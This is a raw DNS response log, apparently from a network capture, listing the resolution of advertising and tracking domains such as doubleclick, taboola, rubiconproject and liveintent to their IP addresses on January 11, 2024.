Jan 11, 2024 00:27:27.500777006 CET	1.1.1.1	192.168.2.4	0x6f02	No error (0)	sync.intentiq.com		13.249.39.104	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:27.500777006 CET	1.1.1.1	192.168.2.4	0x6f02	No error (0)	sync.intentiq.com		13.249.39.79	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:27.500777006 CET	1.1.1.1	192.168.2.4	0x6f02	No error (0)	sync.intentiq.com		13.249.39.70	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:27.500777006 CET	1.1.1.1	192.168.2.4	0x6f02	No error (0)	sync.intentiq.com		13.249.39.20	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:27.568242073 CET	1.1.1.1	192.168.2.4	0xb917	No error (0)	pippio.com		107.178.254.65	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:27.684386015 CET	1.1.1.1	192.168.2.4	0xddd0	No error (0)	s.amazon-adsystem.com		52.46.155.104	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:27.821137905 CET	1.1.1.1	192.168.2.4	0x72cb	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:27.821363926 CET	1.1.1.1	192.168.2.4	0x66e2	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.068459988 CET	1.1.1.1	192.168.2.4	0x5e47	No error (0)	sync1.intentiq.com		13.249.39.70	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.068459988 CET	1.1.1.1	192.168.2.4	0x5e47	No error (0)	sync1.intentiq.com		13.249.39.20	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.068459988 CET	1.1.1.1	192.168.2.4	0x5e47	No error (0)	sync1.intentiq.com		13.249.39.79	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.068459988 CET	1.1.1.1	192.168.2.4	0x5e47	No error (0)	sync1.intentiq.com		13.249.39.104	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.230463028 CET	1.1.1.1	192.168.2.4	0xe999	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.230463028 CET	1.1.1.1	192.168.2.4	0xe999	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		100.25.25.103	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.230463028 CET	1.1.1.1	192.168.2.4	0xe999	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		44.213.136.134	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.230463028 CET	1.1.1.1	192.168.2.4	0xe999	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		54.90.49.71	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.230463028 CET	1.1.1.1	192.168.2.4	0xe999	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		3.219.100.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.231873989 CET	1.1.1.1	192.168.2.4	0x7144	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.231873989 CET	1.1.1.1	192.168.2.4	0x7144	No error (0)	idaas-ext.cph.liveintent.com		54.85.14.136	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.231873989 CET	1.1.1.1	192.168.2.4	0x7144	No error (0)	idaas-ext.cph.liveintent.com		18.214.196.3	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.231873989 CET	1.1.1.1	192.168.2.4	0x7144	No error (0)	idaas-ext.cph.liveintent.com		52.203.228.108	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.231873989 CET	1.1.1.1	192.168.2.4	0x7144	No error (0)	idaas-ext.cph.liveintent.com		54.90.95.251	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.231873989 CET	1.1.1.1	192.168.2.4	0x7144	No error (0)	idaas-ext.cph.liveintent.com		3.230.211.34	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.231873989 CET	1.1.1.1	192.168.2.4	0x7144	No error (0)	idaas-ext.cph.liveintent.com		18.207.71.126	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.231873989 CET	1.1.1.1	192.168.2.4	0x7144	No error (0)	idaas-ext.cph.liveintent.com		54.81.187.36	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.231873989 CET	1.1.1.1	192.168.2.4	0x7144	No error (0)	idaas-ext.cph.liveintent.com		3.235.201.186	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.231944084 CET	1.1.1.1	192.168.2.4	0xff94	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.232300997 CET	1.1.1.1	192.168.2.4	0x7923	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.233613014 CET	1.1.1.1	192.168.2.4	0xb494	No error (0)	sync.crwdcntrl.net		35.169.211.189	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.233613014 CET	1.1.1.1	192.168.2.4	0xb494	No error (0)	sync.crwdcntrl.net		52.72.21.140	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.233613014 CET	1.1.1.1	192.168.2.4	0xb494	No error (0)	sync.crwdcntrl.net		34.197.228.249	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.233613014 CET	1.1.1.1	192.168.2.4	0xb494	No error (0)	sync.crwdcntrl.net		52.201.6.220	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.233613014 CET	1.1.1.1	192.168.2.4	0xb494	No error (0)	sync.crwdcntrl.net		34.193.193.20	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.233613014 CET	1.1.1.1	192.168.2.4	0xb494	No error (0)	sync.crwdcntrl.net		3.215.169.119	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.233613014 CET	1.1.1.1	192.168.2.4	0xb494	No error (0)	sync.crwdcntrl.net		52.20.53.186	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.233613014 CET	1.1.1.1	192.168.2.4	0xb494	No error (0)	sync.crwdcntrl.net		52.204.171.89	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.235793114 CET	1.1.1.1	192.168.2.4	0x2d12	No error (0)	io.narrative.io		52.22.57.218	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.235793114 CET	1.1.1.1	192.168.2.4	0x2d12	No error (0)	io.narrative.io		34.236.126.204	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.235793114 CET	1.1.1.1	192.168.2.4	0x2d12	No error (0)	io.narrative.io		44.214.33.10	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.235793114 CET	1.1.1.1	192.168.2.4	0x2d12	No error (0)	io.narrative.io		54.225.179.207	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.392441034 CET	1.1.1.1	192.168.2.4	0x5b68	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.393860102 CET	1.1.1.1	192.168.2.4	0x9b9c	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.393860102 CET	1.1.1.1	192.168.2.4	0x9b9c	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.398010015 CET	1.1.1.1	192.168.2.4	0x1249	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Jan 11, 2024 00:27:28.402633905 CET	1.1.1.1	192.168.2.4	0xaf91	No error (0)	ssum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.402633905 CET	1.1.1.1	192.168.2.4	0xaf91	No error (0)	ssum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.402671099 CET	1.1.1.1	192.168.2.4	0xc7ed	No error (0)	ssum-sec.casalemedia.com			65	IN (0x0001)	false
Jan 11, 2024 00:27:28.521051884 CET	1.1.1.1	192.168.2.4	0xc09c	No error (0)	cm.g.doubleclick.net		172.253.62.157	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.521051884 CET	1.1.1.1	192.168.2.4	0xc09c	No error (0)	cm.g.doubleclick.net		172.253.62.154	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.523441076 CET	1.1.1.1	192.168.2.4	0xf61b	No error (0)	images.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.523569107 CET	1.1.1.1	192.168.2.4	0x26fb	No error (0)	images.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.523569107 CET	1.1.1.1	192.168.2.4	0x26fb	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.523569107 CET	1.1.1.1	192.168.2.4	0x26fb	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.523569107 CET	1.1.1.1	192.168.2.4	0x26fb	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.523569107 CET	1.1.1.1	192.168.2.4	0x26fb	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.524770021 CET	1.1.1.1	192.168.2.4	0xc97b	No error (0)	a.beap.gemini.yahoo.com	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.525949955 CET	1.1.1.1	192.168.2.4	0x318d	No error (0)	a.beap.gemini.yahoo.com	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.525949955 CET	1.1.1.1	192.168.2.4	0x318d	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		34.204.228.255	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.525949955 CET	1.1.1.1	192.168.2.4	0x318d	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		34.225.19.237	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.525949955 CET	1.1.1.1	192.168.2.4	0x318d	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		3.222.47.227	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.525949955 CET	1.1.1.1	192.168.2.4	0x318d	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		35.168.253.127	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.525949955 CET	1.1.1.1	192.168.2.4	0x318d	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		34.202.68.237	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.525949955 CET	1.1.1.1	192.168.2.4	0x318d	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		3.227.150.145	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.526043892 CET	1.1.1.1	192.168.2.4	0xc418	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.526043892 CET	1.1.1.1	192.168.2.4	0xc418	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.527142048 CET	1.1.1.1	192.168.2.4	0xbad1	No error (0)	crb.kargo.com		3.229.81.23	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.527142048 CET	1.1.1.1	192.168.2.4	0xbad1	No error (0)	crb.kargo.com		18.206.75.249	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.527142048 CET	1.1.1.1	192.168.2.4	0xbad1	No error (0)	crb.kargo.com		54.198.106.196	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.527142048 CET	1.1.1.1	192.168.2.4	0xbad1	No error (0)	crb.kargo.com		54.90.34.250	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.527142048 CET	1.1.1.1	192.168.2.4	0xbad1	No error (0)	crb.kargo.com		44.217.118.15	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.527142048 CET	1.1.1.1	192.168.2.4	0xbad1	No error (0)	crb.kargo.com		35.174.112.174	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.530796051 CET	1.1.1.1	192.168.2.4	0xc698	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.532277107 CET	1.1.1.1	192.168.2.4	0xe635	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.538537979 CET	1.1.1.1	192.168.2.4	0x1fc6	No error (0)	trace.mediago.io		35.208.249.213	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:28.669503927 CET	1.1.1.1	192.168.2.4	0x82f6	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.669503927 CET	1.1.1.1	192.168.2.4	0x82f6	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.669521093 CET	1.1.1.1	192.168.2.4	0x2505	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:28.669521093 CET	1.1.1.1	192.168.2.4	0x2505	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:29.231693983 CET	1.1.1.1	192.168.2.4	0x1dc0	No error (0)	thrtle.com		44.219.58.122	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.231693983 CET	1.1.1.1	192.168.2.4	0x1dc0	No error (0)	thrtle.com		34.199.242.225	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.231693983 CET	1.1.1.1	192.168.2.4	0x1dc0	No error (0)	thrtle.com		34.202.106.150	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.231693983 CET	1.1.1.1	192.168.2.4	0x1dc0	No error (0)	thrtle.com		3.222.135.61	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.231693983 CET	1.1.1.1	192.168.2.4	0x1dc0	No error (0)	thrtle.com		18.214.231.102	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.231693983 CET	1.1.1.1	192.168.2.4	0x1dc0	No error (0)	thrtle.com		50.17.254.219	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.231693983 CET	1.1.1.1	192.168.2.4	0x1dc0	No error (0)	thrtle.com		34.224.207.11	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.231693983 CET	1.1.1.1	192.168.2.4	0x1dc0	No error (0)	thrtle.com		34.234.194.189	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.247646093 CET	1.1.1.1	192.168.2.4	0x5919	No error (0)	aax-eu.amazon-adsystem.com		67.220.226.233	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.310801983 CET	1.1.1.1	192.168.2.4	0xc77e	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.321662903 CET	1.1.1.1	192.168.2.4	0xb31c	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:29.321662903 CET	1.1.1.1	192.168.2.4	0xb31c	No error (0)	match-us-east-1-ecs.sharethrough.com		52.72.126.126	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.321662903 CET	1.1.1.1	192.168.2.4	0xb31c	No error (0)	match-us-east-1-ecs.sharethrough.com		3.91.137.4	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.321662903 CET	1.1.1.1	192.168.2.4	0xb31c	No error (0)	match-us-east-1-ecs.sharethrough.com		52.6.62.160	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.321662903 CET	1.1.1.1	192.168.2.4	0xb31c	No error (0)	match-us-east-1-ecs.sharethrough.com		3.91.113.229	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.321662903 CET	1.1.1.1	192.168.2.4	0xb31c	No error (0)	match-us-east-1-ecs.sharethrough.com		3.234.97.107	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.321662903 CET	1.1.1.1	192.168.2.4	0xb31c	No error (0)	match-us-east-1-ecs.sharethrough.com		52.0.185.94	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.321662903 CET	1.1.1.1	192.168.2.4	0xb31c	No error (0)	match-us-east-1-ecs.sharethrough.com		34.235.32.60	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.321662903 CET	1.1.1.1	192.168.2.4	0xb31c	No error (0)	match-us-east-1-ecs.sharethrough.com		50.19.82.102	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.322035074 CET	1.1.1.1	192.168.2.4	0xa1d6	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:29.509526014 CET	1.1.1.1	192.168.2.4	0xba02	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.49	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.509526014 CET	1.1.1.1	192.168.2.4	0xba02	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.105	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.509526014 CET	1.1.1.1	192.168.2.4	0xba02	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.47	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.509526014 CET	1.1.1.1	192.168.2.4	0xba02	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.111	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.563759089 CET	1.1.1.1	192.168.2.4	0x2dab	No error (0)	bcp.crwdcntrl.net		34.198.159.38	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.563759089 CET	1.1.1.1	192.168.2.4	0x2dab	No error (0)	bcp.crwdcntrl.net		34.193.193.20	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.563759089 CET	1.1.1.1	192.168.2.4	0x2dab	No error (0)	bcp.crwdcntrl.net		35.169.211.189	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.563759089 CET	1.1.1.1	192.168.2.4	0x2dab	No error (0)	bcp.crwdcntrl.net		52.20.53.186	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.563759089 CET	1.1.1.1	192.168.2.4	0x2dab	No error (0)	bcp.crwdcntrl.net		52.204.171.89	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.563759089 CET	1.1.1.1	192.168.2.4	0x2dab	No error (0)	bcp.crwdcntrl.net		34.197.228.249	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.563759089 CET	1.1.1.1	192.168.2.4	0x2dab	No error (0)	bcp.crwdcntrl.net		52.72.21.140	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.563759089 CET	1.1.1.1	192.168.2.4	0x2dab	No error (0)	bcp.crwdcntrl.net		3.215.169.119	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:29.857491970 CET	1.1.1.1	192.168.2.4	0x6381	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:29.857506037 CET	1.1.1.1	192.168.2.4	0xbf91	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:29.945286989 CET	1.1.1.1	192.168.2.4	0x2a7f	No error (0)	pmp.mxptint.net		38.68.201.140	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.085269928 CET	1.1.1.1	192.168.2.4	0xd4ca	No error (0)	sync1.intentiq.com		52.85.132.46	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.085269928 CET	1.1.1.1	192.168.2.4	0xd4ca	No error (0)	sync1.intentiq.com		52.85.132.68	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.085269928 CET	1.1.1.1	192.168.2.4	0xd4ca	No error (0)	sync1.intentiq.com		52.85.132.4	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.085269928 CET	1.1.1.1	192.168.2.4	0xd4ca	No error (0)	sync1.intentiq.com		52.85.132.15	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.282872915 CET	1.1.1.1	192.168.2.4	0x365a	No error (0)	idsync.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.285757065 CET	1.1.1.1	192.168.2.4	0xf50b	No error (0)	sync.crwdcntrl.net		35.169.211.189	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.285757065 CET	1.1.1.1	192.168.2.4	0xf50b	No error (0)	sync.crwdcntrl.net		34.193.193.20	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.285757065 CET	1.1.1.1	192.168.2.4	0xf50b	No error (0)	sync.crwdcntrl.net		52.201.6.220	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.285757065 CET	1.1.1.1	192.168.2.4	0xf50b	No error (0)	sync.crwdcntrl.net		3.226.158.19	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.285757065 CET	1.1.1.1	192.168.2.4	0xf50b	No error (0)	sync.crwdcntrl.net		52.204.171.89	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.285757065 CET	1.1.1.1	192.168.2.4	0xf50b	No error (0)	sync.crwdcntrl.net		34.197.228.249	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.285757065 CET	1.1.1.1	192.168.2.4	0xf50b	No error (0)	sync.crwdcntrl.net		52.20.53.186	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.285757065 CET	1.1.1.1	192.168.2.4	0xf50b	No error (0)	sync.crwdcntrl.net		34.198.159.38	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.287264109 CET	1.1.1.1	192.168.2.4	0x8868	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:30.287264109 CET	1.1.1.1	192.168.2.4	0x8868	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		100.25.25.103	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.287264109 CET	1.1.1.1	192.168.2.4	0x8868	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		54.90.49.71	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.287264109 CET	1.1.1.1	192.168.2.4	0x8868	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		3.219.100.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.287264109 CET	1.1.1.1	192.168.2.4	0x8868	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		44.213.136.134	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.308339119 CET	1.1.1.1	192.168.2.4	0xffd1	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:30.762533903 CET	1.1.1.1	192.168.2.4	0x523b	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:30.762533903 CET	1.1.1.1	192.168.2.4	0x523b	No error (0)	idaas6.cph.liveintent.com		184.73.108.145	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.762533903 CET	1.1.1.1	192.168.2.4	0x523b	No error (0)	idaas6.cph.liveintent.com		3.233.89.241	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.762533903 CET	1.1.1.1	192.168.2.4	0x523b	No error (0)	idaas6.cph.liveintent.com		54.172.56.55	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:30.763981104 CET	1.1.1.1	192.168.2.4	0xe2cd	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:31.279561043 CET	1.1.1.1	192.168.2.4	0x26af	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:31.280128002 CET	1.1.1.1	192.168.2.4	0xa53f	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:31.280128002 CET	1.1.1.1	192.168.2.4	0xa53f	No error (0)	idaas6.cph.liveintent.com		184.73.108.145	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:31.280128002 CET	1.1.1.1	192.168.2.4	0xa53f	No error (0)	idaas6.cph.liveintent.com		54.172.56.55	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:31.280128002 CET	1.1.1.1	192.168.2.4	0xa53f	No error (0)	idaas6.cph.liveintent.com		3.233.89.241	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:33.865578890 CET	1.1.1.1	192.168.2.4	0x49c	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:33.865578890 CET	1.1.1.1	192.168.2.4	0x49c	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:33.865578890 CET	1.1.1.1	192.168.2.4	0x49c	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
